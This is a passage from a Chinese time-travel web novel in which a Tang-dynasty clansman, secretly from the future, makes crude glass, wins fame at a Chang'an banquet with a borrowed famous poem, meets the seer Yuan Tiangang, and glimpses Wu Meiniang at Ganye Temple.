王掌柜走南闯北,见过不少西域来的琉璃器,大多是色彩斑斓的碗、瓶、首饰,何曾见过这种试图追求“透明”的、虽然失败的样品?他敏锐地意识到,这东西虽然丑,但其背后代表的“技艺”,可能极其不寻常!
他的脸色瞬间变了,之前的圆滑和试探变成了极度的震惊和一丝贪婪。他猛地抬头,紧紧盯着李瑾,声音都因为激动而有些变调:“李……李郎君!此物……此物您从何而来?不,是您……您如何制成的?!”
看着王掌柜的反应,李瑾知道,他这把“小试牛刀”,已经成功地“惊”到了人。
他淡淡一笑,将玻璃疙瘩从王掌柜微微颤抖的手中取回,语气依旧平静:“都说了,是偶得的一卷残破古籍上所载的粗浅法子,胡乱试制,不成体统。让王掌柜见笑了。”
他越是轻描淡写,王掌柜心中就越是惊涛骇浪。他看着李瑾年轻却沉静的面容,又看了看他手中那块“粗劣”却透着神秘的疙瘩,一个念头不可抑制地冒了出来:这位平日里不显山不露水的破落宗室子,恐怕……身怀惊人之秘!
“郎君过谦了!过谦了!”王掌柜的态度瞬间变得无比恭敬,甚至带上了几分谄媚,“此物虽形陋,然其质……其质非凡啊!不知郎君……下一步有何打算?”
夜色中,小院内的气氛悄然改变。一场因生存压力而起的简单实验,竟意外地打开了一扇通往未知方向的门。李瑾知道,从这一刻起,他想要的那种“低调”,可能已经一去不复返了。
第05章 青楼诗名扬
琉璃疙瘩在王掌柜心中掀起的波澜,并未立即改变李瑾拮据的现状,却像一颗投入死水的石子,荡开了层层涟漪。王掌柜的态度发生了微妙转变,不再催促欠款,反而时常借着由头送来些米面果蔬,言语间多了几分试探与恭敬。李瑾心知肚明,这是那晚“净琉璃”带来的效应,但他依旧深居简出,大部分时间闭门谢客,继续他那不为人知的“研究”。
他需要更安静的环境,也需要更多的启动资金。那块失败的玻璃疙瘩证明了方向的可行性,但也暴露了无数问题。改进配方、优化工艺、寻找更稳定的热源……这一切都需要资源和时间。王掌柜的“投资”是杯水车薪,且带有明显的目的性,李瑾不愿过早被绑定。
就在他埋头于收集不同来源的沙土、草木灰,反复试验配比,几乎与外界隔绝之时,一封意外的请柬,通过族学里一位往日并无深交、家境却颇为殷实的同窗李灏,送到了他的陋室。
请柬是撒金箔的粉红笺纸,散发着淡淡的脂粉香气,上面用娟秀的字体写着,邀请他于三日后赴平康坊的“撷芳楼”,参加一场由某位喜好风雅的京兆杜氏子弟做东的文会。
“李瑾兄,久闻兄台虽沉默寡言,然学识内蕴,近日更闻兄深居简出,想必是学业精进。杜公子雅好文墨,最喜结交青年才俊,此番文会,长安不少年轻士子皆会到场,乃难得的雅集,万望赏光。” 李灏亲自送来请柬,话说得漂亮,眼神却带着几分不易察觉的审视和……或许是怜悯式的提携?在他看来,李瑾这般落魄,能有机会踏入平康坊的高级妓馆,结交权贵子弟,已是莫大机缘。
李瑾握着那封与这破败小院格格不入的请柬,眉头微蹙。平康坊,长安著名的风月之地,“撷芳楼”听名字便知是其中翘楚。他对此类交际应酬本能地排斥,尤其是这种明显带有攀附性质的场合。原主的记忆里,对这类聚会也多是怯懦和不适。
然而,拒绝?以一个破落宗室子的身份,拒绝一位京兆杜氏子弟的邀请?这无异于自绝于这个圈层,日后在长安恐怕更难立足。更何况……他脑中飞快闪过一个念头:这类文会,往往是信息交汇之地,或许能听到一些在市井坊间难以听闻的消息,比如……宫闱动向,或是某些特定人物的近况?
他需要信息,需要了解这个时代权力核心的脉搏。感业寺那日的零星耳语,始终在他心底萦绕。
“多谢灏兄美意,只是……”李瑾面露难色,指了指自己洗得发白的袍衫,“小弟这般形容,恐污了诸君雅兴。”
李灏哈哈一笑,似乎早有准备:“瑾兄何必过谦!衣衫不过是外物,腹有诗书气自华。杜公子乃豁达之人,岂会以衣冠取士?届时自有备好的洁净袍服,兄台只需人至即可。” 话已至此,再推辞便是矫情,也拂了李灏的面子。
三日后,华灯初上,平康坊内已是丝竹管弦声声入耳,香车宝马络绎不绝。李瑾换上了李灏准备的、一件半新不旧的青色细麻圆领袍,虽非锦缎,却也整洁体面。他在李灏的引领下,走进了装饰得富丽堂皇的撷芳楼。
楼内温暖如春,熏香馥郁。大厅中央铺着波斯地毯,设有多张矮案,已有二三十名年轻士子散坐其间,大多锦衣华服,意气风发。主位上一名约二十出头的青年,身着紫绫袍,腰缠玉带,面容白皙,眉眼间带着几分世家子的矜持与优越,正是做东的杜如晦的侄孙杜铭。几名姿容秀美、衣着艳丽的妓人穿梭其间,斟酒布菜,巧笑倩兮。
李瑾的到来,并未引起多少注意。他低调地选了个角落的位置坐下,尽量降低存在感。席间气氛热烈,行酒令,赏歌舞,议论时政,品评人物。话题从即将到来的科举,到边关战事,再到朝中某位大臣的趣闻,最后不可避免地落到了诗词歌赋上。
杜铭显然有意卖弄才学,酒至半酣,击盏而歌,率先吟了一首咏梅的五律,辞藻华丽,对仗工整,引得满座喝彩。随后,众人纷纷附和,或咏物,或抒怀,水平参差不齐,但气氛融洽。
李瑾只是默默饮酒,品尝着与他平日粗茶淡饭天差地别的精美菜肴,安静地观察着在场的每一个人,听着他们的高谈阔论。他注意到,杜铭身边坐着一位气度沉稳、年岁稍长的青袍男子,很少开口,但杜铭对其颇为敬重,称其为“元瑜兄”,似是太子左庶子许敬宗的门人。此外,还有几位胡商模样的座上客,看来这杜铭交游颇广。
就在他以为可以安然度过今晚时,麻烦还是找上门了。
一个坐在杜铭下首、面色微红、已有几分醉意的蓝衣青年,似乎注意到了始终沉默的李瑾,带着几分戏谑开口道:“咦,这位兄台面生得紧,一直默不作声,可是嫌我等诗作粗陋,不堪入耳?” 此人姓崔,亦是高门子弟,向来眼高于顶。
众人的目光瞬间聚焦到李瑾身上。李灏忙打圆场:“崔兄说笑了,这位是宗室李瑾兄,平日潜心学问,不喜多言。”
“宗室?” 崔姓青年嗤笑一声,声音不大,却足够清晰,“哦……想起来了,可是崇仁坊那位‘潜心学问’的李郎君?” 话语中的轻蔑显而易见,引得几声低笑。在座大多家世优越,对一个穷困潦倒的远支宗室,自然缺乏敬意。
杜铭也带着玩味的笑容看了过来:“既是宗室俊彦,想必文采斐然。今日良辰美景,李兄何不也赋诗一首,让我等开阔眼界?” 这话看似客气,实则将李瑾架在了火上。
李瑾心中暗叹,该来的终究躲不过。他若作不出,或作得不好,坐实了“庸才”之名,日后更遭耻笑。他若作出,在这等场合,是福是祸亦难预料。他脑中飞速掠过无数唐诗宋词,选择哪一首?既要贴合场景,又不能太过惊世骇俗,引来不必要的关注。
他深吸一口气,放下酒杯,起身对四周团团一揖,姿态从容,并无半分怯懦:“杜公子、诸位兄台谬赞。瑾才疏学浅,本不敢班门弄斧。然蒙杜公子盛情,不敢扫兴。适才闻丝竹之声,观诸位雅兴,偶得几句俚语,便权当助兴,乞请斧正。”
他声音清朗,不卑不亢,让原本准备看笑话的几人稍稍收起了轻视之心。连那位“元瑜兄”也投来一丝好奇的目光。
李瑾缓步走到厅中,目光扫过窗外的月色,以及厅内摇曳的灯烛和宾客们或期待或嘲弄的脸,缓缓吟道:
“锦瑟无端五十弦,一弦一柱思华年。”
开篇一句,奇崛的比喻和深沉的思绪便让场中细微的嘈杂声静了下去。
“庄生晓梦迷蝴蝶,望帝春心托杜鹃。”
用典精妙,意境朦胧,对仗工整得令人心惊。
“沧海月明珠有泪,蓝田日暖玉生烟。”
意象瑰丽,画面迭出,词采华美却又饱含怅惘。
“此情可待成追忆?只是当时已惘然。”
尾联收束,无尽的追忆与感伤弥漫开来,余韵悠长。
诗毕,满场寂然。
在座皆是读书人,纵然有纨绔之辈,基本的鉴赏力还是有的。这首诗,辞藻之精美,意象之奇幻,情感之深婉,意境之朦胧,远远超出了方才所有的唱和之作,甚至……超出了他们熟悉的当下诗风!那种对时光易逝、往事如烟的深沉感慨,竟由一个看似未及弱冠的少年吟出,更添几分神秘与震撼。
就连原本带着挑衅意味的崔姓青年,也张大了嘴巴,忘了合拢。杜铭脸上的玩味笑容早已消失,取而代之的是震惊与审视。那位“元瑜兄”更是目光灼灼,紧紧盯着李瑾,仿佛要将他看穿。
撷芳楼的头牌姑娘,一位怀抱琵琶、气质清冷的女子,此刻也忘了拨弦,喃喃重复着最后两句:“此情可待成追忆?只是当时已惘然……好诗,真是好诗……” 她看向李瑾的眼神,充满了惊异与探究。
寂静持续了数息,随即爆发出热烈的赞叹!
“好一个‘沧海月明珠有泪,蓝田日暖玉生烟’!此句只应天上有!”
“李兄大才!深藏不露,真乃我辈楷模!”
“此诗何名?当浮一大白!”
风向瞬间逆转。嘲讽与轻视被由衷的钦佩取代。杜铭亲自斟满一杯酒,走到李瑾面前,郑重道:“李兄真乃谪仙人也!适才多有怠慢,恕罪恕罪!此诗意境高远,杜某佩服!请满饮此杯!”
李瑾接过酒杯,一饮而尽,面色依旧平静:“杜公子过奖,偶有所感,信口胡诌,不敢当此盛誉。”
他越是谦逊,在众人眼中就越是高深莫测。一时间,他成了整个文会的中心,众人纷纷前来敬酒,询问诗作背景、平日读何书、有何心得。李瑾只得打起精神,小心应对,引经据典却又点到即止,更显得学识渊博,气度不凡。
他注意到,那位“元瑜兄”在与人低语几句后,提前离席,离去前,深深看了李瑾一眼。李瑾心中了然,这首诗,恐怕很快就会被传到某些人的耳朵里。
“锦瑟……” 那头牌姑娘轻轻拨动琵琶,试着为这首诗配乐,优美的旋律与诗句的意境渐渐融合。
李瑾坐在重新变得热情的人群中,感受着四周或真或假的恭维,心中却无多少喜悦,只有一丝疲惫和了然。他本想低调,却终究被推到了台前。这首诗,如同一块投入湖面的巨石,其引发的波澜,恐怕远不止于这撷芳楼一夜。
“诗词惊四座”的目的达到了,甚至超出了预期。但他明白,这借来的才名,是一把双刃剑。它带来了关注,也可能带来更大的麻烦和更深的漩涡。
文会散场时,已是深夜。杜铭亲自将李瑾送至门口,再三约定日后必要多多请教。李灏更是与有荣焉,热情地要送他回崇仁坊。
走在返回的清冷街道上,夜风吹散了些许酒意。李瑾抬头望向夜空那轮唐时的明月,心中思绪纷杂。今夜之后,“宗室子李瑾”这个名字,恐怕要在长安城的某个圈子里,留下印记了。
而这,究竟是他融入这个时代的开始,还是更深羁绊的开端?
第06章 巧遇袁天罡
撷芳楼一夜诗惊四座,效果立竿见影,却也带来了李瑾未曾预料到的“烦恼”。
“李瑾”这个名字,伴随着那首意境朦胧、辞藻瑰丽的《锦瑟》(李瑾心中对借用之作的定名),迅速在长安一部分年轻士子与风月场中流传开来。昔日门可罗雀的崇仁坊小院,竟也偶尔有好奇者或真心慕名而来拜访之人。族学中的同窗,包括那日引荐的李灏,态度也恭敬了不少,甚至有位掌管宗室事务的低阶官员,也派人送来了一份不轻不重的节礼,言语间颇有勉励之意。
杜铭更是亲自登门一次,虽只略坐片刻,言辞间却满是结交之意,并再次邀请他参加旬日后的曲江诗会。王掌柜则来得更勤,不仅绝口不提旧债,还时常带来些市面上的新奇玩意儿或时兴糕点,旁敲侧击地问及“净琉璃”的进展,眼神热切。
这一切,都让老仆李福喜忧参半。喜的是小主人终于扬眉吐气,再无人敢轻易欺侮;忧的是这突如其来的名声,如同筑于沙地上的高台,不知何时会坍塌。他更担心的是,那晚“烧制”的诡异之事,是否会引来不必要的麻烦。
李瑾本人却异常清醒。他深知这“才名”的虚幻与危险性。木秀于林,风必摧之。在未拥有足够自保能力前,过高的关注度无异于火中取栗。他需要尽快将注意力从诗词歌赋这些“虚”的方面,转移到更实际、更能积累资本的事情上——比如,改进他的“净琉璃”工艺。
然而,改进需要知识,尤其是这个时代关于矿物、冶金、乃至天文历法(用于把控制作时的温度变化)的知识。原主留下的书籍仅限于儒家经典和诗赋,远远不够。他需要更专业的、更偏门的知识。
这一日,他想起在西市旧书摊的遭遇,决定再去碰碰运气,看能否找到一些涉及“格物”或“方技”的杂书、笔记,哪怕是些残缺的炼丹手札也好。或许,那些被正统士大夫视为“杂学”、“小道”的故纸堆里,藏着对他有用的信息。
再入西市,喧嚣依旧。与上次走马观花不同,这次他目标明确,径直朝着记忆中专售杂项旧物的区域走去。相较于售卖珠宝绸缎的主街,这里相对冷清,摊位也更显破旧,空气中弥漫着陈年纸张、旧木器和尘埃混合的味道。
他在一个接一个的旧书摊、杂物摊前驻足,仔细翻检。书籍多是些佛道经卷、医卜星相之书,或是些早已过时的启蒙读物。偶尔能看到几本兵书或农书,但内容粗浅。关于具体工艺技术的记载,少之又少,即便有,也多是语焉不详,充满玄虚之词。
正当他有些失望,拿起一本纸张泛黄、封面已失,似乎记载了些许矿物性状的残破笔记翻阅时,一个平和而略显苍老的声音在他身旁响起:
“这位郎君,可是对金石之物感兴趣?”
李瑾心中微凛,放下书卷,转头望去。只见身旁不知何时站了一位老者。此人身穿一袭洗得发白的青灰色道袍,头发用一根木簪随意挽起,面容清癯,皱纹深刻,最引人注目的是他那双眼睛,澄澈明亮,仿佛能洞穿人心,却又带着一种看透世事的淡然。他手持一柄拂尘,静静立在那里,与周围喧嚣的市井环境格格不入,仿佛独立于时光之外。
李瑾注意到,老者的目光正落在他刚才翻阅的那本残破笔记上,眼神中似乎闪过一丝讶异。这老者气度不凡,绝非常人。李瑾不敢怠慢,拱手施礼:“小子随意翻看,让道长见笑了。不知道长有何指教?”
老道微微一笑,拂尘轻摆:“指教不敢当。贫道见郎君翻检此书,目光专注,似在寻找特定之物,而非寻常士子猎奇可比。故而冒昧一问。” 他说话不快,每个字却清晰入耳,自带一股令人心静的力量。
“道长慧眼。”李瑾心中警惕,面上却不动声色,“小子近日读些杂书,对万物生成变化之理偶有好奇,故想寻些前人所记,以广见闻。”
“万物生成变化之理……”老道重复了一遍,眼中赞赏之色一闪而过,“郎君年纪轻轻,能于辞章诗文之外,留意此道,已是难得。” 他话中似乎意有所指,显然听说了撷芳楼之事。
李瑾心中更惊,这老道竟知他底细?他愈发谨慎:“道长过誉,小子只是兴趣驳杂,浅尝辄止罢了。”
老道不再追问,目光却转向李瑾的脸,仔细端详起来。他的目光并非无礼的审视,而更像是一位匠人在观摩一块奇特的璞玉,带着探究与思索。李瑾被他看得有些发毛,却强自镇定,并未移开目光。
市集的喧嚣仿佛在二人周围沉寂下去。片刻后,老道轻轻“咦”了一声,眉头微蹙,又缓缓舒展开,眼中竟露出极为复杂的神色,混杂着惊奇、困惑,乃至一丝……难以置信。
“奇哉,怪哉……”老道喃喃低语。
“道长,有何不妥?”李瑾忍不住问道。
老道沉吟良久,方才缓缓开口,声音低沉,却字字如锤,敲在李瑾心上:“贫道观人面相数十载,略通此道。郎君之相,实乃平生仅见。”
他顿了顿,似乎在斟酌词语:“郎君命格,贵不可言,隐有紫气缠绕,乃搅动风云、影响天下格局之兆。然则……”
这个“然则”让李瑾的心提了起来。
“然则,郎君命宫之内,星辉黯淡,主星不明,竟似……无根之萍,无源之水。”老道的语气带着前所未有的凝重与疑惑,“更奇者,郎君魂魄之光,清冽异常,迥异凡俗,隐隐与周天星斗皆不相同,倒似……倒似天外流光,误入此世轮回。”
“天外流光?”李瑾后背瞬间沁出一层冷汗。这老道究竟是谁?竟能一眼看穿他最大的秘密?虽然说得玄乎,但“天外”、“异世”的核心意思,却精准得可怕!
老道似乎没注意到李瑾瞬间的僵硬,依旧沉浸在自己的推演中,手指微微掐动,继续道:“且郎君命轨与当世凤格隐隐交缠,牵绊极深,一荣俱荣,一损俱损。只是这凤格……如今潜于幽暗,鸣于悲声,前途多舛,险阻重重。”
凤格?潜于幽暗,鸣于悲声?李瑾脑中立刻浮现出感业寺那个名字——武媚!这老道竟连这也看得出?
强压下心中惊涛骇浪,李瑾深吸一口气,故作不解地问道:“道长之言,玄奥莫测,小子愚钝,难以领会。不知这‘天外流光’、‘当世凤格’是何征兆?是吉是凶?”
老道深深看了李瑾一眼,那目光仿佛已将他从里到外看了个通透。他摇了摇头,脸上露出一丝意味深长的笑容:“吉凶祸福,岂是贫道所能妄断?命由天定,亦由人争。郎君非常人,行非常事,自有非常之运数。贫道只能言尽于此。”
他顿了顿,又道:“至于郎君欲寻之物,或不在故纸堆中,而在……”他伸手指了指天,又指了指地,“……天地造化,与郎君本心之间。时机若至,自有际遇。”
说完,他不等李瑾再问,单掌立于胸前,微微一礼:“贫道袁天罡,与郎君今日一晤,亦是缘法。山高水长,郎君好自为之。”
袁天罡!
这个名字如同惊雷,在李瑾脑海中炸响!竟然是他!历史上与李淳风齐名、被传得神乎其神的初唐第一相士!《推背图》的作者之一!自己竟然在这西市陋巷,遇到了这位传奇人物!而且,被他一眼断为“星外异数”!
就在李瑾震惊失神之际,袁天罡已转身,青灰色的道袍飘动,几步之间,便融入了往来的人流,消失不见,仿佛从未出现过。
李瑾呆立原地,手中那本残破的笔记似乎有千斤重。市集的嘈杂声重新涌入耳中,他却感觉浑身冰凉。
袁天罡的话,似是而非,却句句指向核心。他看穿了自己穿越者的本质,点出了自己与武媚娘命运的关联!这是警告?是预言?还是……某种启示?
“星外异数”……这个批语,让李瑾感到一种前所未有的不安,却也隐隐有一种奇特的释然。仿佛一直独自背负的最大秘密,突然被一个至高存在点破,反而不用再那般小心翼翼地隐藏。
同时,袁天罡最后那句“天地造化,与本心之间”,似乎是在暗示他,解决问题的钥匙,不在于模仿古人,而在于运用他超越时代的“本心”(知识)去探索和创造。
良久,李瑾缓缓吐出一口浊气,眼神重新变得坚定。既然已被“识破”,那便更无需畏首畏尾。袁天罡没有点明危害,反而似有鼓励之意,这或许意味着,他这条“异数”之路,并非绝路。
他将那本残笔记买下,小心收好。虽然可能无用,但这是个开始。
走出西市,阳光正好。李瑾抬头望向蔚蓝的天空,心中已有了决断。袁天罡的出现,如同一道强光,照亮了他前路的迷雾,也让他更加明确了自己的目标。
感业寺。武媚娘。
历史的轨迹清晰可见,而他自己,这个意外的变数,必将为这轨迹带来新的走向。
下一步,他需要更主动地去接近那个风暴的中心,去亲眼看看,那位未来将凌驾天下的女子,如今是何等境遇。
第07章 感业寺钟声
袁天罡一席话,如同在李瑾心湖中投下了一块巨石,激起的涟漪久久未能平息。“星外异数”、“与当世凤格交缠”,这些玄之又玄的批语,像是一把钥匙,开启了他内心深处一直刻意压抑的某种冲动,也为他指明了冥冥中早已注定的方向。
返回崇仁坊那间陋室,一连数日,李瑾都显得有些沉默。他不再急于摆弄那些沙土和灰烬,也不再频繁外出。大部分时间,他只是静静地坐在院中老槐树下,或是凭窗而立,目光似乎没有焦点,却又仿佛穿透了坊墙,投向了长安城某个特定的方位。
李福察觉到了小主人的异样,心中惴惴,却不敢多问,只是将饮食准备得更加精心,进出也愈发轻手轻脚。他隐约感觉到,自那日西市归来,阿郎似乎下定了某个重大的决心,整个人的气质变得更加沉静,也愈发深不可测。
李瑾的脑海中,反复回响着袁天罡的话,同时也交织着来自另一个时空的历史知识。感业寺,这个地方不再仅仅是史书上的一个名词,或是市井流言中的模糊背景,它已经与一个清晰的形象、一段已知的悲惨命运紧密相连——武媚娘,那位未来的女帝,此刻正被困在那青灯古佛之地,前途未卜,生死难料。
历史上,她在感业寺的日子并不好过。从太宗才人到出家为尼,身份一落千丈,其中凄苦可想而知。而此刻,距离高宗李治因忌日行香再次与她相遇,进而将她接回宫中,应该还有一段时间。这段时间,正是她人生中最黑暗、最无助的时期。
“潜于幽暗,鸣于悲声……”袁天罡的判词,精准地描绘出了她此刻的境遇。
一个念头,越来越清晰,越来越强烈地占据了李瑾的心神:他必须去感业寺。必须亲眼去看一看。不仅仅是为了印证历史的真实,不仅仅是为了满足好奇心,更是因为袁天罡点明的那条命运交织的线,以及……或许,是内心深处某种连他自己也尚未完全明晰的,想要改变什么的冲动。
然而,一个男子,尤其是一个身份敏感(哪怕是破落)的宗室子弟,平白无故前往皇家寺院、并且是安置先帝嫔妃修行之所的感业寺,这本身就是极不合礼法、极易惹人非议的行为。需要一个理由,一个说得过去的借口。
他开始有意无意地向李福,以及偶尔来访的李灏等人,打听感业寺的相关信息。他表现得像是一个刚刚对佛法产生兴趣的年轻人,询问长安附近有哪些清静、有名的寺院可供参拜祈福。
“感业寺?”李灏听到这个名字,脸上露出一丝古怪的神色,压低了声音,“瑾兄怎地问起那里?那可是……嗯,是先帝嫔妃修行之所,戒备森严,等闲人不得靠近。参拜祈福?怕是去不得。城中有名的寺院多得很,大慈恩寺、大兴善寺,香火鼎盛,高僧云集,那才是好去处。”
李福也在一旁忧心忡忡地补充:“是啊阿郎,那地方晦气,听说里头……不太平。您还是去些阳气盛的地方为好。”
他们的反应,更加印证了感业寺的特殊性和敏感性。但这并未让李瑾退缩,反而让他更加坚定了要去一探究竟的决心。越是禁忌,越说明那里隐藏着关键。
借口并不难找。几日后的一个傍晚,李瑾对李福说,他连日来夜读诗书,心神不宁,偶有噩梦,想去寺院上柱香,求个心安。并且,他特意强调,想去一处远离尘嚣、真正清静的地方静一静心。
“崇仁坊往南,临近京城边缘,似乎有座寺院颇为幽静……”李瑾故作回忆状。
李福立刻接口:“阿郎说的是感业寺吧?那儿倒是真清静,可……”他脸上满是犹豫。
“既是清静礼佛之地,有何不可?”李瑾语气平淡,却带着不容置疑的意味,“明日清晨,你陪我走一趟。备些简单的香烛供品即可。”
李福见小主人心意已决,不敢再劝,只得应下,心中却七上八下,总觉得此举颇为不妥。
次日清晨,天色微明,坊门刚开。李瑾换上了一身最朴素的青色布衣,带着同样心事重重的李福,出了崇仁坊,一路向南行去。
越往南走,街市越发冷清,行人渐稀。道路两旁开始出现大片的农田和零散的村落,与北面繁华的城坊区判若两个世界。空气中弥漫着泥土和草木的清新气息,偶尔传来几声犬吠鸡鸣,更显空旷寂静。
走了约莫一个多时辰,远远的,一座依山而建的寺院轮廓出现在视野尽头。灰墙黑瓦,规模不小,但透着一股沉暮之气。周围林木环绕,人迹罕至,与远处长安城的喧嚣形成鲜明对比。那就是感业寺了。
越是接近,李瑾的心跳得越快。一种难以言喻的复杂情绪在他胸中涌动——既有对即将窥见历史真相的激动,也有对那位传奇女性命运的同情与好奇,更有一丝仿佛在触碰禁忌边缘的紧张感。
就在他们走到距离寺院山门尚有百余步的一片小树林边时,突然,一阵沉重、悠扬的钟声,从感业寺的方向传来。
“当……”
钟声浑厚,穿透清晨微凉的空气,在山野间回荡。这钟声不像大慈恩寺那般洪亮恢弘,反而带着一种难以言说的沉郁和苍凉,仿佛承载了无数被禁锢于此的青春与哀怨,一声声,敲在人的心上。
李瑾猛地停住了脚步,站在原地,静静地聆听着。这钟声,仿佛穿越了千年的时空,与他记忆中的某个节点轰然重合。就是这里了。就是这个时候。
历史,不再仅仅是书本上的文字,而是化作了这实实在在的钟声,敲响在他的耳边。
他抬眼望去,感业寺的轮廓在晨雾和树影中显得有些模糊,但那钟声却无比清晰。他仿佛能透过那厚重的墙壁,看到里面青灯古佛下,那些失去希望的身影。而其中一个,将在不久的将来,掀起滔天巨浪,改变整个帝国的命运。
“阿郎,钟声响了,寺门怕是快开了。咱们……还过去吗?”李福在一旁小声问道,语气中带着不安。
李瑾没有立刻回答。他深吸了一口气,感受着胸腔中那股因命运接近而带来的悸动。
去,当然要去。既然命运将他抛到了这个时代,既然连袁天罡都点明了他与她的关联,他怎能在此刻止步?
“过去。”李瑾的声音平静,却带着一种前所未有的坚定,“就在附近看看。不必靠得太近,免得惊扰了寺中清修。”
他要亲眼看看这座囚禁着未来女帝的牢笼,感受这里的气息。他要确定,历史是否真的沿着既定的轨道前行。而更重要的是,一个模糊的计划,开始在他心中慢慢成形——他不能贸然闯入,不能暴露自己,但他必须找到一个方法,与那座寺庙,与寺庙里的那个人,建立起某种联系。
钟声还在一声接一声地响着,似乎在催促,又像是在警告。
李瑾迈开脚步,朝着感业寺的方向,继续前行。每一步,都仿佛踏在历史的脉搏上。
第08章 墙外惊鸿影
感业寺的钟声余韵未绝,仍在清晨的山谷间低回。李瑾带着李福,并未径直走向寺院的山门。那太过显眼,也太过唐突。他沿着寺院外围高大、略显斑驳的灰墙,缓步而行,装作是偶然路过的香客,或是被钟声吸引前来瞻仰的游人,目光却不着痕迹地扫视着周遭的一切。
寺院占地颇广,墙内古木参天,枝桠伸向天空,偶尔可见一角飞檐隐于树梢之后。周遭异常寂静,除了风声、鸟鸣和他们自己的脚步声,再无其他杂音,与远处长安城的喧嚣判若两个世界。空气中弥漫着香火和草木腐烂混合的独特气味,平添几分寂寥与肃穆。
李福紧跟在后,紧张地东张西望,生怕遇到什么人或惹上麻烦。他实在不明白,阿郎为何偏要跑到这偏僻又晦气的地方来。
李瑾的心却提了起来。他知道自己此行目的何在,却又不知具体能见到什么,更不知该如何进行下一步。袁天罡的批语如同指引,但前路依旧迷茫。他只能凭借直觉,寻找可能的契机。
他们绕到寺院侧面,这里围墙更高,墙根下杂草丛生,更显荒僻。墙内似乎有一片空地,或许是僧尼们日常活动的场所。李瑾停下脚步,假装欣赏墙头探出的一株苍劲古松,实则屏息凝神,倾听着墙内的动静。
起初,只有风声过耳。但渐渐地,一阵极轻微的、断断续续的啜泣声,夹杂着女子低低的、压抑的诵经声,随风飘了出来。声音很轻,若非此地极度安静,几乎难以察觉。那哭声充满了悲切与无助,诵经声也毫无平和之意,反而像是绝望中的喃喃自语。
李瑾的心猛地一紧。这高墙之内,禁锢着多少如花生命,在青灯古佛前耗损青春,埋葬希望?历史的残酷,此刻以如此具体的声音形式,敲击着他的耳膜。
就在这时,一阵略显急促的脚步声和压低了的呵斥声从墙内传来:
“哭什么哭!入了这等地方,还当自己是娘娘主子不成?”
“整日哭丧着脸,没得触了霉头!”
“赶紧把水提回去!误了时辰,有你好受!”
是年长女尼训斥年轻尼姑的声音,刻薄而冷漠。哭泣声和诵经声戛然而止,取而代之的是一阵慌乱的脚步声和木桶碰撞的声响。
李瑾暗叹一声。有人的地方就有阶层倾轧,这佛门清净地,看来也非净土。
他正欲转身离开,另寻他处观察,目光无意间扫过前方不远处的墙角。那里,靠近墙根的地方,似乎有一个小小的、因雨水冲刷或动物刨挖形成的缺口,不大,仅能容小动物穿过,但位置颇为隐蔽。
鬼使神差地,李瑾朝那个缺口走了过去。李福想阻止,却见小主人神色凝重,不敢出声。
李瑾蹲下身,凑近那个缺口。视线穿过杂草,恰好能看到墙内一角景象——那似乎是一处井台,井台边,一个穿着灰色缁衣的瘦弱身影,正费力地提起一桶水。看背影,应是个年轻比丘尼。
李瑾正想移开目光,避免窥人隐私,那提水的比丘尼却因水桶沉重,踉跄了一下,下意识地转过身,将水桶暂时放在井沿上,微微喘息着,抬手用衣袖擦拭额角的汗水。
就在她转身抬头的刹那,李瑾的呼吸骤然停滞,瞳孔猛地收缩!
尽管隔着一段距离,尽管她一身宽大破旧的缁衣,未施粉黛,发丝被汗水黏在略显苍白的额角,形容憔悴……但那张脸!那张融合了柔美与坚毅、眉眼间依稀可见绝代风华的容颜!
是武媚娘!
绝不会错!纵然此刻的她,与李瑾记忆中那些传世画像、影视形象中威仪天下的女皇判若两人,但那份独特的、深邃眉眼间蕴藏的不甘与倔强,那份即便身处泥泞也难掩的独特气质,是任何困苦都无法完全磨灭的!
她看上去不过二十出头年纪,正是女子最好的年华,此刻却在这冷寂的寺院中,做着粗重的活计,忍受着呵斥。她的眼神空洞地望着远处的天空,那里面没有泪,也没有光,只有一片深不见底的、几乎要将人吞噬的绝望和……死寂。仿佛所有的希望都已燃尽,只剩下麻木的躯壳,在日复一日的煎熬中等待最终的解脱。
李瑾的心脏像是被一只无形的手紧紧攥住,几乎无法呼吸。历史的画卷,以一种无比残酷和真实的方式,在他面前展开。这就是未来将要君临天下、改唐为周的一代女皇?这就是袁天罡口中“与当世凤格交缠”的另一位主角?此刻的她,脆弱得如同风中残烛,仿佛下一刻就会彻底熄灭。
一种前所未有的冲击,混杂着历史的震撼、命运的荒谬、以及一种深切的同情,席卷了李瑾。他不再是历史的旁观者,而是真切地看到了历史主角的苦难。这种冲击,远比阅读任何史书都要强烈百倍。
就在这时,院内再次传来脚步声,一个管事模样的中年女尼走了过来,看到站在井边发呆的武媚娘,眉头一皱,语气不善地催促道:“武才人,动作快些!禅堂还等着洒扫呢!莫要偷懒!”
武才人!这个称呼,如同最后一道惊雷,证实了李瑾的猜测。
武媚娘身体几不可察地颤抖了一下,迅速低下头,掩去所有情绪,低声应了句:“是。” 然后,她弯下腰,重新提起那沉重的水桶,步履蹒跚地,朝着寺院深处走去。那单薄的灰色背影,在空旷的院落和巨大的古树映衬下,显得那么渺小,那么无助,仿佛随时会被这幽深的寺院吞噬。
李瑾僵在原地,保持着蹲踞的姿势,久久未动。直到武媚娘的身影彻底消失在院落的拐角,直到院内再无声息,他依然无法从那种巨大的震撼中回过神来。
墙外的惊鸿一瞥,短暂得如同幻觉,却在他心中刻下了不可磨灭的印记。
“阿郎?阿郎?”李福担忧的声音将他从失神中唤醒,“您怎么了?脸色这么白?可是看到了什么不干净的东西?” 在李福看来,这地方邪门,阿郎定是冲撞了什么。
李瑾缓缓站起身,因蹲得太久,双腿有些发麻,身形晃了晃。他摇了摇头,声音有些沙哑:“没什么……我们回去吧。”
他最后深深看了一眼那堵高大、冰冷的灰墙,仿佛要将刚才看到的那一幕,牢牢刻在心里。然后,他转身,头也不回地朝着来路走去。
回程的路上,李瑾异常沉默。李福不敢多问,只觉得小主人周身笼罩着一层前所未有的低气压,比来时更加沉重。
那个在井边汲水的、绝望而麻木的灰色身影,与史书中那个杀伐果断、睥睨天下的女帝形象,在李瑾脑中不断交错、重叠。巨大的反差,带来的是更深的悸动。
他原本或许只是抱着观察历史、或许顺便为自己谋取出路的心态。但此刻,一种更强烈的、更具体的情感在他心中滋生——他不能眼睁睁看着这样一个拥有无限可能性的生命,在绝望中枯萎。历史的轨迹固然强大,但袁天罡说他乃“星外异数”,不正意味着他本身就代表着变数吗?
改变她的命运,或许,也就是在改变他自己的命运,甚至……改变这片天空下,未来的走向。
